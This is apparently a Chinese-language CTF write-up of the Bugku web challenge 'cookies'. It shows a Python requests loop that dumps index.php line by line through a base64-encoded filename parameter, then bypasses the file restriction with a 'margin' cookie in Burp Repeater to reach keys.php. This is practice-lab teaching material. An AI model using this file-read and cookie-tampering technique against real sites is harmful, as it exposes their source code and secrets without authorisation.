web安全实战:题目来源:首页 - Bugku CTF
题目一:cookies
题目打开如下,啥也没有,查看源码还是啥也没有。
怎么整?查看数据包,还是没线索,这时候注意到url了:
line= #行数
filename=。。。。。 #这等号结尾,先用base64解码试试,发现是key.txt
知道了这个,我依然没有思路,还是看了大神的做法,发现需要把index.php抓下来,看看都说了啥,想不通,求指导。
下面给出步骤:
直接上python将这个页面抓下来
import requests
a=30
for i in range(a):
url="http://114.67.175.224:13925/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print(s.text)
# 导入requests库,用于发送网络请求
# 设置一个变量a为30,可能表示要请求的行数或次数
# 使用for循环,从0到a-1(本例中为29)进行循环
# 构造URL,每次循环都向URL中添加一个名为line的查询参数,其值为i(行号),filename参数的值似乎是一个base64编码的字符串
# 发送GET请求到构造的URL
# 打印返回响应的内容
这里我们就看到了index.php的源码了
其中,如下所示,
如果Cookie中设置了'margin'并且值为'margin',则将'keys.php'添加到允许访问的文件列表中
这下我们打开bp,截取数据包,把其中对应URL的链接的数据包发送到repeater模块,然后如下修改数据包,并发送这样的数据包试试 ,这里要注意filename的编码,最终得到flag